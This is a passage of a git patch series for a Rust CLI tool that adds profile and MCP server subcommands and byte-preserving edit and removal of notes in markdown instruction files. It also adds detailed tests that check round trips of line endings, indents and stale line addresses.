can name it. + Unknown(String), +} + +/// The verb on a `/profile` line, and the name it names. +fn profile_verb(input: &str) -> ProfileVerb { + let mut words = input.split_whitespace(); + // The command itself. + let _ = words.next(); + let Some(verb) = words.next() else { + return ProfileVerb::List; + }; + let name = words.collect::>().join(" "); + match verb.to_ascii_lowercase().as_str() { + // Lowercased first, for the reason `/effort` records: matching literally + // made one spelling of a word work and another fall through silently. + "clear" | "none" | "off" => ProfileVerb::Clear, + "create" | "new" => ProfileVerb::Create(name), + "remove" | "delete" => ProfileVerb::Remove(name), + other => ProfileVerb::Unknown(other.to_string()), + } +} + pub fn parse(input: &str, keys: &Keys, theme: &Theme) -> Action { match input.split_whitespace().next().unwrap_or("help") { "help" | "?" => Action::Print(help(keys, theme, Newline::here())), @@ -1939,7 +2081,7 @@ pub fn parse(input: &str, keys: &Keys, theme: &Theme) -> Action { "mcp" | "servers" if matches!( input.split_whitespace().nth(1), - Some("add" | "edit" | "remove" | "get") + Some("add" | "edit" | "remove" | "get" | "enable" | "disable" | "probe") ) => { Action::Manage(input.to_string()) @@ -1947,7 +2089,7 @@ pub fn parse(input: &str, keys: &Keys, theme: &Theme) -> Action { "mcp" | "servers" => Action::Mcp, "skills" => Action::Skills, "provider" | "providers" => Action::Provider, - "profile" | "profiles" => Action::Profile, + "profile" | "profiles" => Action::Profile(profile_verb(input)), // `Effort` carries `FromStr`, so the three levels are spelled io-harness's // way rather than this crate's — a second spelling of `low` would be a // second vocabulary for one wire field. "off" is handled beside it because diff --git a/tests/servers.rs b/tests/servers.rs index 0c0c57d..9cea603 100644 --- a/tests/servers.rs +++ b/tests/servers.rs @@ -710,18 +710,18 @@ fn f6_a_key_no_mcp_entry_carries_is_refused_rather_than_written() { // happen here. let at = At::of(Scope::User, TWO_SERVERS, "docs").expect("the fixture names `docs`"); assert!(servers::edit(&at, "comand", "\"mcp-find\"").is_none()); - // **`enabled` is refused, and the reason changed under this assertion.** - // Until io-harness 0.70.0 there was no such key, and writing one would have - // been accepted by the file and ignored by the harness. There is one now, it - // is honoured, and `servers::servers` reads it — but writing it is 0.30.0's - // verb, along with the plugin one and the probe. So the refusal stands and - // its reason is no longer "no such key" but "not this release's verb": a - // surface that could switch a server off has to be able to switch it back on, - // and `KEYS` is what the panel offers rather than what the type has. + // **`enabled` is accepted, and this assertion was the opposite one release + // ago.** 0.29.0 refused it and said why: the key was real and honoured, but the + // release shipped no way to switch a server back on, and half a toggle is worse + // than none. 0.30.0 ships both halves — `servers::switch`, `mcp enable`, + // `mcp disable` and the `/mcp` keystroke — so the name is in `KEYS` and the + // refusal it was standing in for is gone. **The list gained one name; the check + // did not move**, which is what the `comand` assertion above still measures. assert!( - servers::edit(&at, "enabled", "false").is_none(), - "`enabled` is not in `KEYS`, so the panel does not write it; 0.29.0 reads \ - and reports the state and 0.30.0 adds the verb", + servers::edit(&at, "enabled", "false").is_some(), + "`enabled` is io-harness's own key, honoured before a server is spawned, \ + and 0.30.0 has both halves of the verb — refusing it now leaves an \ + operator able to see a switched-off server and unable to switch one", ); assert!(servers::edit(&at, "command", "\"mcp-find\"").is_some()); for key in servers::KEYS { From c7d1edd4f1b47bd5b0dc08441de47ccc8cf48d0c Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 00:19:07 +0530 Subject: [PATCH 08/17] =?UTF-8?q?chore(develop):=20`/memory`=20edits=20and?= =?UTF-8?q?=20forgets=20an=20instruction=20note=20by=20line=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task: US-IO-CLI-0.30.0-T07 --- src/memory.rs | 287 +++++++++++++++++++++++++++++++++++- src/recall.rs | 40 ++++- tests/memory.rs | 381 ++++++++++++++++++++++++++++++++++++++++++++++++ tests/recall.rs | 183 +++++++++++++++++++++++ 4 files changed, 883 insertions(+), 8 deletions(-) diff --git a/src/memory.rs b/src/memory.rs index 8f11256..2ba8ec7 100644 --- a/src/memory.rs +++ b/src/memory.rs @@ -37,14 +37,23 @@ //! business is settled, and [`view`] is how a surface reports the outcome //! honestly rather than optimistically. //! -//! # Appending, and why it is spelled out +//! # Appending, editing, and the one rule all three verbs follow //! -//! Everything here is an append. These files are the operator's own prose — a -//! person wrote them, another agent may have written into them, and a release of -//! this crate rewriting one is a release that eats somebody's notes. So the file -//! is opened for append rather than read-modify-written, and the only byte this -//! module ever adds ahead of its own bullet is a newline the previous author left -//! off. +//! Through 0.29.0 everything here was an append and this paragraph said so. It no +//! longer is: [`amend`] replaces one line and [`forget`] removes one. What has not +//! changed is why the paragraph exists. These files are the operator's own prose — +//! a person wrote them, another agent may have written into them, and a release of +//! this crate rewriting one is a release that eats somebody's notes. +//! +//! So the rule the two new verbs follow is **splice, never rewrite**: the file is +//! read as bytes, exactly one byte range is replaced, and every other byte is +//! written back as it was found — the indent somebody used, the `*` they wrote +//! where this module writes `-`, the `\r\n` a Windows checkout holds, and a last +//! line with no newline after it. A rewrite assembled from the parsed lines is the +//! obvious implementation and it normalises all four in silence. [`remember`] is +//! still an append, and its `prelude` is the same rule reached from the other end: +//! the only byte it ever adds ahead of its own bullet is a newline the previous +//! author left off. use std::io::Write as _; use std::path::{Path, PathBuf}; @@ -185,6 +194,270 @@ pub fn remember(root: &Path, scope: Scope, line: &str) -> Result usize { + self.line + 1 + } + + /// How many further lines this bullet carries with it — see the field. + /// + /// A surface offering [`forget`] on a note where this is non-zero is offering + /// a verb that does a fraction of what it looks like it does, and has to say + /// so. + #[must_use] + pub fn carries(&self) -> usize { + self.carries + } +} + +/// The bullets one scope's file holds, each one addressable. +/// +/// Empty for a file that is not there, and empty for one this process cannot +/// read — the same answer [`view`] gives, for the same reason: [`Instruction`] +/// already reports `exists` beside this list, and a second opinion about whether +/// the file is there is a second thing that has to be kept in agreement. +/// +/// **Only bullets are notes.** The header this module writes, the blank lines +/// around it and whatever else a person put in the file are not offered: a +/// surface that let an operator "edit" the file's own heading would be a text +/// editor, and this is a list of instructions. [`Instruction::lines`] still +/// counts every line, and the two numbers are allowed to differ because they +/// answer different questions. +#[must_use] +pub fn notes(root: &Path, scope: Scope) -> Vec { + let Some(path) = path(root, scope) else { + return Vec::new(); + }; + let Ok(text) = std::fs::read_to_string(&path) else { + return Vec::new(); + }; + + let lines = spans(&text); + // A line that is neither blank nor a bullet of its own belongs to the bullet + // above it — markdown's lazy continuation, and the shape `import` writes. + let continues = |span: &std::ops::Range| { + let body = content(&text, span); + let line = &text[body.start..body.end]; + !line.trim().is_empty() && bullet(line).is_none() + }; + + lines + .iter() + .enumerate() + .filter_map(|(line, span)| { + let body = content(&text, span); + let from = bullet(&text[body.start..body.end])?; + Some(Note { + scope, + text: text[body.start + from..body.end].to_string(), + line, + carries: lines + .iter() + .skip(line + 1) + .take_while(|s| continues(s)) + .count(), + }) + }) + .collect() +} + +/// Replace one note's text, leaving every other byte of the file alone. +/// +/// The indent, the marker and the line ending are the file's own bytes and are +/// not touched: a note somebody wrote as ` * check the lockfile` stays indented +/// and stays a `*`, because this module is editing an instruction and not +/// reformatting a document it did not write. +/// +/// Refuses a replacement that is empty or nothing but whitespace, for the reason +/// [`remember`] refuses one: a note quietly blanked reports success and leaves the +/// operator with a bullet that says nothing. Refuses one holding a line break +/// too — a note is a line, and a replacement that split it in two would put a line +/// in the file that [`notes`] cannot address. +pub fn amend(root: &Path, note: &Note, line: &str) -> Result { + let text = line.trim(); + if text.is_empty() { + return Err("there is nothing to remember".to_string()); + } + if text.contains('\n') { + return Err("a note is one line, and that one holds a line break".to_string()); + } + splice(root, note, Some(text)) +} + +/// Remove one note's line entirely, leaving every other byte of the file alone. +/// +/// The line and its terminator go together, so the bullet above it does not +/// acquire a blank line and the file does not grow one. Everything else — the +/// header, the prose, every sibling bullet — is the bytes that were there. +pub fn forget(root: &Path, note: &Note) -> Result { + splice(root, note, None) +} + +/// The one write both verbs go through: replace one byte range, keep the rest. +/// +/// `Some(text)` replaces the note's own text and keeps its line; `None` takes the +/// line and its terminator away. +/// +/// **The file is spliced, never rebuilt.** Reading it into lines, changing one and +/// writing them back joined is the obvious implementation, and it silently +/// normalises four things this crate has no business normalising: a `\r\n` +/// checkout, a last line with no newline after it, an indent, and a `*` written +/// where this module writes `-`. Two of those change what io-harness reads at the +/// start of every run, and none of them would show up as an error. +/// +/// Refuses when the line has moved. See [`Note`]: the address is only as good as +/// the read it came from, and the file is one a person and another agent are both +/// entitled to be editing. +fn splice(root: &Path, note: &Note, replacement: Option<&str>) -> Result { + let path = path(root, note.scope) + .ok_or_else(|| "there is no path for that scope on this machine".to_string())?; + // ponytail: the whole file, for the same reason `remember` reads the whole + // file to look at its last byte — these are guidance files a person maintains + // by hand, and they are kilobytes. Read once and written once, so nothing + // here can half-write a file. + let mut text = + std::fs::read_to_string(&path).map_err(|error| format!("{}: {error}", path.display()))?; + + // Built up front rather than in three closures, so the sentence an operator + // reads is one sentence and not three that drifted apart. + let stale = format!( + "{} line {} no longer says `{}`, so nothing was written — it has been edited since \ + the page was drawn", + path.display(), + note.numbered(), + note.text, + ); + + let span = spans(&text) + .get(note.line) + .cloned() + .ok_or_else(|| stale.clone())?; + let body = content(&text, &span); + let from = body.start + bullet(&text[body.start..body.end]).ok_or_else(|| stale.clone())?; + if text[from..body.end] != *note.text { + return Err(stale); + } + + match replacement { + Some(line) => text.replace_range(from..body.end, line), + None => text.replace_range(span, ""), + } + std::fs::write(&path, text).map_err(|error| format!("{}: {error}", path.display()))?; + Ok(path) +} + +/// Every line of `text` as a byte range **including its terminator**. +/// +/// `split_inclusive` rather than `lines`, because the terminator is exactly the +/// byte a splice must not invent or drop. It also counts the way `lines` counts — +/// a file ending in one newline has one line, not two — so a [`Note`]'s line +/// number and [`Instruction::lines`] are numbers in the same system. +fn spans(text: &str) -> Vec> { + let mut at = 0; + text.split_inclusive('\n') + .map(|line| { + let span = at..at + line.len(); + at = span.end; + span + }) + .collect() +} + +/// One line's range with its terminator taken off, whichever of the two it is. +/// +/// `\r\n` and `\n` both, and neither invented: a file that had no newline on its +/// last line still has none afterwards, which is the fixture the splice rule +/// exists for. +fn content(text: &str, span: &std::ops::Range) -> std::ops::Range { + let mut end = span.end; + if text[span.start..end].ends_with('\n') { + end -= 1; + if text[span.start..end].ends_with('\r') { + end -= 1; + } + } + span.start..end +} + +/// Where a markdown bullet's own text starts, if the line is a bullet at all. +/// +/// `-`, `*` or `+` after any indent, then whitespace or the end of the line — +/// which is markdown's own rule and is what keeps `---` and a word like +/// `-Werror` out of the list. The three markers rather than the one this module +/// writes, because the operator's file is the operator's: a list they wrote with +/// `*` is a list, and offering them only the bullets io wrote would be a surface +/// that hides half the file it is claiming to show. +/// +/// ponytail: no block state, so a `- like this` inside a fenced code block reads +/// as a bullet. It is offered for editing and edits correctly; it is only listed +/// where it should not be. Track the fences if an operator's file ever turns up +/// in a bug report over it. +fn bullet(line: &str) -> Option { + let space = |c: char| c == ' ' || c == '\t'; + let body = line.trim_start_matches(space); + let indent = line.len() - body.len(); + let after = body.strip_prefix(['-', '*', '+'])?; + if !after.is_empty() && !after.starts_with(space) { + return None; + } + Some(indent + 1 + (after.len() - after.trim_start_matches(space).len())) +} + // --------------------------------------------------------------------------- // Making io-harness read all three // --------------------------------------------------------------------------- diff --git a/src/recall.rs b/src/recall.rs index e046a52..357115b 100644 --- a/src/recall.rs +++ b/src/recall.rs @@ -243,6 +243,26 @@ pub enum Happened { } impl Happened { + /// What to call it in a line of output. + /// + /// Here rather than at the surface that draws it, which is the rule + /// [`Scope::label`] and [`kind_label`] already follow in this module: the word + /// is part of what a trace row *means*, and a surface that spelled its own + /// would be free to call a refusal a failure. It is a word and not a sentence + /// — nothing in this module touches a terminal, and io-harness's own + /// [`Noted::detail`] is the sentence. + /// + /// **`refused` and not `failed`.** The write did not fail: io-harness declined + /// it because an operator had pinned the entry, which is the pin working. A + /// reader told it failed goes looking for a broken store. + pub fn label(self) -> &'static str { + match self { + Happened::Evicted => "evicted", + Happened::Refused => "refused", + Happened::Recalled => "recalled", + } + } + /// The kind string io-harness stores, `src/state.rs:2982-3009`. fn of(kind: &str) -> Option { match kind { @@ -318,6 +338,16 @@ impl View { /// no trace rather than a view of the newest run: guessing which run an operator /// meant would put somebody else's evictions in front of them. /// +/// **`None` is not the answer for a session, and through 0.29.0 it was the only +/// one this crate ever passed.** The whole trace half of this module — [`trace`], +/// [`Happened`], [`Noted`] — was therefore reachable from the test suite and from +/// nowhere an operator could stand, so the evictions, refusals and recalls it +/// reads had never once been drawn. `/memory` names the session's **own last +/// turn** (`src/main.rs`'s `last_run`), which is not a guess: it is the run the +/// operator was watching a moment ago, and the one whose evictions are about +/// their work. A session that has not run a turn yet has no run to name and +/// passes `None`, which is the honest empty rather than somebody else's history. +/// /// Every row is a read. This function cannot write to the store and cannot reach /// the filesystem except through [`workspace_key`], which only resolves a path. pub fn view( @@ -602,7 +632,15 @@ pub fn forget(store: &Store, root: &Path, scope: Scope, key: &str) -> Result Result, Error> { Ok(rewind_run(&Workspace::new(root), store, restore)?.memory_restored) } diff --git a/tests/memory.rs b/tests/memory.rs index d72a7dc..b14454f 100644 --- a/tests/memory.rs +++ b/tests/memory.rs @@ -1,5 +1,19 @@ //! The operator memory writer: three scopes, three files, and never a byte lost. //! +//! **F4 is the second half and it is where "never a byte lost" gets teeth.** +//! Through 0.29.0 the only verb was an append, and an append cannot damage what is +//! already in the file. `memory::amend` and `memory::forget` can: they rewrite a +//! file somebody else's prose lives in. Every F4 test below therefore asserts the +//! **whole file, byte for byte**, against an expectation built by editing the +//! original string — never `contains`, which passes for an implementation that +//! kept the line it was asked about and normalised everything around it. +//! +//! The named sabotage is one line of plausible code: read the file, split it into +//! lines, change one, write them back joined. It passes every `contains` in this +//! file and fails the three fixtures below that have something to normalise — a +//! last line with no newline after it, a `\r\n` checkout, and a bullet somebody +//! indented and wrote with a `*`. +//! //! Every test in this file writes `IO_CONFIG_HOME`, because that is the only way //! to move [`memory::path`]'s answer for [`Scope::User`] without touching the //! machine the suite is running on — `home::in_force` reads the environment at @@ -292,3 +306,370 @@ fn surrounding_whitespace_does_not_reach_the_file() { "a pasted line brings its own whitespace, and the file is markdown", ); } + +// --------------------------------------------------------------------------- +// F4 — an instruction note is edited in place and forgotten, by line +// --------------------------------------------------------------------------- + +/// A file with everything a splice can damage: a header this module did not +/// write, prose that is not a list, a bullet with an indent and a `*`, a fenced +/// block, blank lines, and a last bullet after all of it. +const HAND_WRITTEN: &str = "# a heading somebody wrote\n\nsome prose\n\n\ + - keep this one\n * indented, and starred\n\n\ + ```\n a fenced block\n```\n\n- and the last one\n"; + +/// Put `text` in the file `scope` names, making the directory it needs. +fn written(root: &Path, scope: Scope, text: &str) -> PathBuf { + let path = at(root, scope); + std::fs::create_dir_all(path.parent().expect("a parent")).expect("the directory"); + std::fs::write(&path, text).expect("the existing file"); + path +} + +/// The bullets come back with the address of the line they are **on**, which is +/// not their position in the list. +/// +/// This is the criterion's "by line" and the assertion that separates an address +/// from an index. The three notes below are the first, second and third bullets +/// and they are on lines 5, 6 and 8 — so an implementation that handed back the +/// row number would look right in every other test in this file and would, the +/// first time an operator edited the third note, replace the blank line above it. +#[test] +fn f4_a_note_is_addressed_by_the_line_it_is_on_and_not_by_its_place_in_the_list() { + let _guard = env_lock(); + let (_dir, root) = fixture(); + written( + &root, + Scope::Project, + "# AGENTS.md\n\nprose, not a bullet\n\n- first\n * second\n---\n- third\n", + ); + + let notes = memory::notes(&root, Scope::Project); + assert_eq!( + notes + .iter() + .map(|note| note.text.as_str()) + .collect::>(), + ["first", "second", "third"], + "the marker and the indent belong to the file and are not part of the \ + note; the heading, the prose and the `---` are not notes at all", + ); + assert_eq!( + notes.iter().map(memory::Note::numbered).collect::>(), + [5, 6, 8], + "SABOTAGE: hand back the position in the list and this is [1, 2, 3]. The \ + two agree for a file that is nothing but bullets, which is the file every \ + other test uses, and disagree for every file a person has actually \ + written — where the difference is which of somebody's lines gets \ + overwritten.", + ); + assert!( + notes.iter().all(|note| note.scope == Scope::Project), + "each note says which file it came from, so a position read out of one \ + cannot be applied to another that also has a line 5", + ); +} + +/// Nothing to read is an empty list rather than an error or a created file. +#[test] +fn f4_a_file_that_is_not_there_holds_no_notes_and_is_not_made_by_asking() { + let _guard = env_lock(); + let (_dir, root) = fixture(); + + assert!(memory::notes(&root, Scope::Project).is_empty()); + assert!( + !at(&root, Scope::Project).exists(), + "reading is a read — the page an operator opens to look at their notes may \ + not leave a guidance file behind", + ); +} + +/// **The criterion, first half.** Editing line N replaces that line and changes +/// no other byte of the file. +#[test] +fn f4_editing_one_note_replaces_that_line_and_changes_no_other_byte() { + let _guard = env_lock(); + + for scope in SCOPES { + let (_dir, root) = fixture(); + let path = written(&root, scope, HAND_WRITTEN); + + let notes = memory::notes(&root, scope); + assert_eq!( + notes.len(), + 3, + "{scope:?}: the fixture holds three bullets, and the rest is not a list", + ); + + let amended = memory::amend(&root, ¬es[1], " now it says something else \n") + .unwrap_or_else(|error| panic!("{scope:?}: {error}")); + assert_eq!(amended, path, "amend answers with the file it wrote"); + + assert_eq!( + read(&path), + HAND_WRITTEN.replace("indented, and starred", "now it says something else"), + "{scope:?}: the whole file, byte for byte. Only the text of the second \ + bullet moved — its two spaces of indent, its `*`, the fenced block, \ + the blank lines and the heading are the bytes that were there.", + ); + assert!( + read(&path).contains(" * now it says something else\n"), + "{scope:?}: the indent and the marker are the file's own and are not \ + this module's to normalise — an operator who wrote a nested `*` list \ + gets it back", + ); + assert_eq!( + memory::notes(&root, scope) + .iter() + .map(|note| note.text.as_str()) + .collect::>(), + [ + "keep this one", + "now it says something else", + "and the last one" + ], + "{scope:?}: and the list reads back as three notes still, in order", + ); + } +} + +/// **The criterion, second half.** Forgetting line N removes that line and leaves +/// the header and every sibling bullet intact. +#[test] +fn f4_forgetting_one_note_takes_its_line_and_leaves_the_header_and_its_siblings() { + let _guard = env_lock(); + + for scope in SCOPES { + let (_dir, root) = fixture(); + let path = written(&root, scope, HAND_WRITTEN); + + let notes = memory::notes(&root, scope); + memory::forget(&root, ¬es[1]).unwrap_or_else(|error| panic!("{scope:?}: {error}")); + + assert_eq!( + read(&path), + HAND_WRITTEN.replace(" * indented, and starred\n", ""), + "{scope:?}: the line and its newline went together and nothing else \ + moved. A blank line left where the bullet was would be this module \ + editing the shape of somebody's document.", + ); + assert!( + read(&path).starts_with("# a heading somebody wrote\n"), + "{scope:?}: the header a person wrote is still the top of the file", + ); + assert_eq!( + memory::notes(&root, scope) + .iter() + .map(|note| note.text.as_str()) + .collect::>(), + ["keep this one", "and the last one"], + "{scope:?}: both siblings are still there, and still notes", + ); + } +} + +/// **The named sabotage.** A file whose last line has no trailing newline +/// round-trips unchanged. +/// +/// Read the file into lines, change one, write them back joined by `\n` with a +/// trailing one: every assertion above still passes, and this file quietly grows a +/// byte. It is the same defect `remember`'s `prelude` exists for, reached from the +/// other side — and the file it happens to is one io-harness reads into the model's +/// prompt at the start of every run. +#[test] +fn f4_a_file_whose_last_line_has_no_newline_after_it_round_trips_unchanged() { + let _guard = env_lock(); + let ragged = "- run the linter\n- and the formatter"; + + // Editing the last line keeps the file ragged. + let (_dir, root) = fixture(); + let path = written(&root, Scope::Project, ragged); + let notes = memory::notes(&root, Scope::Project); + memory::amend(&root, ¬es[1], "and the checker").expect("the edit lands"); + assert_eq!( + read(&path), + "- run the linter\n- and the checker", + "SABOTAGE: rewrite the file from the parsed lines and this is \ + `- run the linter\\n- and the checker\\n` — one byte the operator did not \ + write, in a file this crate does not own", + ); + assert!( + !read(&path).ends_with('\n'), + "the file ended without a newline and it still does", + ); + + // Forgetting the last line keeps the line above it exactly as it was. + let (_dir, root) = fixture(); + let path = written(&root, Scope::Project, ragged); + let notes = memory::notes(&root, Scope::Project); + memory::forget(&root, ¬es[1]).expect("the removal lands"); + assert_eq!( + read(&path), + "- run the linter\n", + "the removed line took its own bytes and none of its neighbour's", + ); + + // Forgetting the FIRST line leaves the ragged last line ragged. + let (_dir, root) = fixture(); + let path = written(&root, Scope::Project, ragged); + let notes = memory::notes(&root, Scope::Project); + memory::forget(&root, ¬es[0]).expect("the removal lands"); + assert_eq!( + read(&path), + "- and the formatter", + "SABOTAGE: the same rewrite adds the trailing newline here too", + ); +} + +/// A `\r\n` checkout stays a `\r\n` checkout. +/// +/// The second thing the rewrite sabotage normalises, and the one a developer on a +/// Unix machine cannot see at all: every line ending in the operator's file is +/// replaced, so the diff is the whole file and `git` reports it as one. +#[test] +fn f4_windows_line_endings_survive_both_verbs() { + let _guard = env_lock(); + let crlf = "# IO.md\r\n\r\n- one\r\n- two\r\n"; + + let (_dir, root) = fixture(); + let path = written(&root, Scope::User, crlf); + let notes = memory::notes(&root, Scope::User); + assert_eq!( + notes + .iter() + .map(|note| note.text.as_str()) + .collect::>(), + ["one", "two"], + "the `\\r` is a line ending and not part of the note's text", + ); + + memory::amend(&root, ¬es[0], "uno").expect("the edit lands"); + assert_eq!( + read(&path), + "# IO.md\r\n\r\n- uno\r\n- two\r\n", + "SABOTAGE: join the parsed lines with `\\n` and every ending in the file is \ + rewritten — four lines changed to edit one", + ); + + memory::forget(&root, &memory::notes(&root, Scope::User)[1]).expect("the removal lands"); + assert_eq!( + read(&path), + "# IO.md\r\n\r\n- uno\r\n", + "and the removal takes the `\\r\\n` with the line rather than leaving it", + ); +} + +/// A note that has moved since the page was drawn is refused, and nothing is +/// written. +/// +/// The file is markdown a person edits in their own editor and another agent may +/// write into, so the address a picker is holding can go stale between the draw +/// and the keystroke. Acting on it anyway is how an operator loses a line they +/// never looked at. +#[test] +fn f4_a_note_that_has_changed_underneath_is_refused_rather_than_overwritten() { + let _guard = env_lock(); + let (_dir, root) = fixture(); + let path = written(&root, Scope::Local, "- first\n- second\n"); + let notes = memory::notes(&root, Scope::Local); + + // Somebody else edits the file while the picker is open. + let moved = "- somebody else got here first\n- first\n- second\n"; + std::fs::write(&path, moved).expect("the other writer"); + + let refused = memory::amend(&root, ¬es[1], "a replacement"); + assert!( + refused.is_err(), + "line 2 now says `first`, not `second`: the address is stale and the \ + replacement would have landed on a line the operator never chose", + ); + assert_eq!(read(&path), moved, "and a refusal writes nothing at all",); + assert!( + memory::forget(&root, ¬es[1]).is_err(), + "the same check guards the removal, which is the one that cannot be undone", + ); + assert_eq!(read(&path), moved, "still nothing"); + + // The same removal, re-read, is fine — which is what makes the refusal a + // staleness check rather than a refusal to work. + let fresh = memory::notes(&root, Scope::Local); + memory::forget(&root, &fresh[2]).expect("a note read from the file as it stands"); + assert_eq!(read(&path), "- somebody else got here first\n- first\n"); +} + +/// An empty replacement is refused, and so is one holding a line break. +/// +/// A blanked note is the same failure a blank `remember` is: the surface says it +/// was recorded and the file says nothing. A replacement with a newline in it is +/// the other half — one line of the file becomes two, and the second is a line +/// `notes` cannot address and no verb can reach. +#[test] +fn f4_an_empty_or_multi_line_replacement_is_refused_and_nothing_is_written() { + let _guard = env_lock(); + let (_dir, root) = fixture(); + let before = "- prefer small diffs\n"; + let path = written(&root, Scope::Project, before); + let note = memory::notes(&root, Scope::Project).remove(0); + + for refused in ["", " ", "\t\n \n", "one line\nand another"] { + assert!( + memory::amend(&root, ¬e, refused).is_err(), + "{refused:?} was accepted, which either blanks the note while reporting \ + success or puts an unaddressable line in the file", + ); + assert_eq!(read(&path), before, "and {refused:?} wrote nothing"); + } +} + +/// **Both verbs are reachable from a keystroke.** +/// +/// A driver-text gate, and it is here for the reason this repository already has +/// four of them: nothing under `tests/` links `src/main.rs`, so a public function +/// with a thorough test file and no caller is invisible to the suite. 0.20.0 +/// shipped seven of those behind a green run, and `recall::unforget` spent a whole +/// release as an eighth — so the rule now is that a new public item names its call +/// site and a gate traces it. +/// +/// The comments come off first: every one of the three names below appears in a +/// paragraph of prose in the driver, and a gate satisfied by prose is the defect +/// 0.14.0 shipped. Copied from `tests/structure.rs:137`, which cannot be imported +/// across test binaries. +/// +/// Sabotage: wire the page and delete the `memory::amend` arm — `contains` on the +/// other two still passes, and this fails on the one that is missing. +#[test] +fn f4_reading_editing_and_forgetting_a_note_are_all_reachable_from_the_driver() { + let path = Path::new(env!("CARGO_MANIFEST_DIR")).join("src/main.rs"); + let text = std::fs::read_to_string(path).expect("the driver is readable"); + let text: String = text + .lines() + .map(|line| match line.find("//") { + Some(at) => &line[..at], + None => line, + }) + .collect::>() + .join("\n"); + + for (call, why) in [ + ( + "io_cli::memory::notes(", + "the bullets have to be read back before either verb can address one, \ + and reading them from the file at the moment the verb is offered is \ + what makes the address good", + ), + ( + "io_cli::memory::amend(", + "editing a note is one of the two verbs this release exists to add; a \ + `memory::amend` no keystroke reaches is a tested function, not a \ + surface", + ), + ( + "io_cli::memory::forget(", + "and so is removing one — until now the only verb these files had was \ + an append, so a line typed by mistake stayed in the model's prompt \ + for the life of the checkout", + ), + ] { + assert!(text.contains(call), "`{call}` has no call site: {why}"); + } +} diff --git a/tests/recall.rs b/tests/recall.rs index 9638ee2..f2182eb 100644 --- a/tests/recall.rs +++ b/tests/recall.rs @@ -569,6 +569,189 @@ async fn f8_eviction_refusal_and_recall_are_read_from_the_trace() { view.trace.iter().any(|n| n.happened == Happened::Recalled), "the second run recalled too", ); + + // --- 0.30.0 F6: the same three, through `view`, for a real run id -------- + // + // Not a second fixture. Producing a genuine eviction, a genuine refusal and a + // genuine recall costs two scripted turns of io-harness's own run loop, and + // this test has already paid for them — so the criterion that `View::trace` + // carries all three for a run that produced them is asserted here, against the + // run that produced them. + let ran = + recall::view(&store, workspace.path(), &task, Some(first.run_id)).expect("the view reads"); + assert!( + !ran.trace.is_empty(), + "SABOTAGE: this is the arm that reddens when the caller goes back to \ + passing `None`, which is what io-cli shipped through 0.29.0 — an empty \ + trace beside a store that had been evicting, refusing and recalling all \ + along", + ); + for expected in [Happened::Evicted, Happened::Refused, Happened::Recalled] { + assert!( + ran.trace.iter().any(|note| note.happened == expected), + "the run {expected:?} something and the view does not say so; \ + `View::trace` is the only place any of the three exists, because \ + io-harness emits no `EventKind` for them", + ); + } + assert!( + details(&ran.trace, Happened::Evicted)[0].contains("beta"), + "io-harness's own sentence rides through the view and not only through \ + `trace` — a page that said a note had been dropped without naming which \ + one would be telling an operator to go and look for it", + ); + + // The shipped behaviour, stated rather than assumed: `None` really is empty, + // so the assertion above is a test of the run id reaching the call and not of + // the fixture being lively. + assert!( + recall::view(&store, workspace.path(), &task, None) + .expect("the view reads") + .trace + .is_empty(), + "`None` is a view with no trace, deliberately — which is exactly why the \ + driver passing it made the whole trace half of this module unreachable", + ); + + assert_eq!( + [Happened::Evicted, Happened::Refused, Happened::Recalled].map(Happened::label), + ["evicted", "refused", "recalled"], + "each has a word, and it is `refused` rather than `failed`: the write did \ + not fail, io-harness declined it because an operator had pinned the entry \ + — which is the pin working. A reader told it failed goes looking for a \ + broken store.", + ); +} + +// --------------------------------------------------------------------------- +// 0.30.0 F5 and F6 — the driver gates +// +// **The `f6_` and `f8_` tests above are 0.29.0's criteria and are not these.** +// Criteria are numbered per release, so the two tests below carry the release in +// their names and nothing else in this file does. +// +// Both criteria assert something about `src/main.rs`, which nothing under +// `tests/` links: `[[bin]] name = "io"` is a separate compilation and a test +// binary cannot call into it. The established answer in this repository is a +// driver-text gate — see `tests/contract.rs:303`, `:336`, `:369` and +// `tests/context_share.rs:526` — and it is weak in exactly one way, which is why +// the comments come off first. +// --------------------------------------------------------------------------- + +/// `src/main.rs`, with every comment taken off before anything is matched. +/// +/// **Copied from `tests/structure.rs:137` rather than shared, because a test +/// binary cannot import another's helper**, and the reason it exists is worth +/// repeating: 0.14.0 shipped a gate that asserted the driver contained +/// `EventKind::Dialed` and was satisfied by a *comment* naming it — a green test +/// over code that had none of it. Every patch these two gates are written against +/// carries a paragraph of prose naming the very calls they assert on, so without +/// the stripping they would pass on the prose alone. +fn driver_without_comments() -> String { + let path = Path::new(env!("CARGO_MANIFEST_DIR")).join("src/main.rs"); + let text = std::fs::read_to_string(path).expect("the driver is readable"); + text.lines() + .map(|line| match line.find("//") { + Some(at) => &line[..at], + None => line, + }) + .collect::>() + .join("\n") +} + +/// **0.30.0 F5 — a forgotten agent memory is restored.** +/// +/// `recall::forget` has returned a restore id since 0.29.0 and `recall::unforget` +/// has been able to spend one for just as long. Nothing in `src/` ever did: +/// `commands::forgotten_said` formatted the id into a sentence — *run 42 holds the +/// way back* — and the id then went out of scope. The operator was told there was +/// a way back and given no way to take it, which is worse than not offering one. +/// +/// Counted rather than `contains`, which is this suite's recorded vacuous-gate +/// shape: one call satisfies a `contains` forever, so it could never catch the +/// site going missing again. +/// +/// Sabotage: drop the call site and keep `tests/recall.rs`'s +/// `f7_forgetting_removes_the_entry_and_leaves_a_way_back`, which drives +/// `recall::unforget` for real and would stay green over a function no keystroke +/// reaches — which is precisely the tested-but-uncalled shape this product has now +/// shipped in more than one release. +#[test] +fn v0_30_0_f5_the_driver_spends_the_restore_id_rather_than_only_printing_it() { + let text = driver_without_comments(); + // **Whitespace-collapsed before the pattern match, and that is not a + // weakening.** `rustfmt` decides where a pattern breaks across lines from the + // indent it happens to sit at, so a gate matching the source bytes of a + // destructuring asserts the formatter's arithmetic as much as the code's + // meaning — it goes red when somebody wraps an unrelated block one level + // deeper. What is being asserted is that the driver destructures the id out of + // `forget`'s own answer, and that survives collapsing runs of whitespace to + // one space. + let flat = text.split_whitespace().collect::>().join(" "); + + assert_eq!( + text.matches("io_cli::recall::unforget(").count(), + 1, + "exactly one keystroke puts a withdrawn note back, and it is in code \ + rather than in a sentence about code", + ); + assert!( + flat.contains("io_cli::recall::Forgotten::Removed { restore, } = outcome") + || 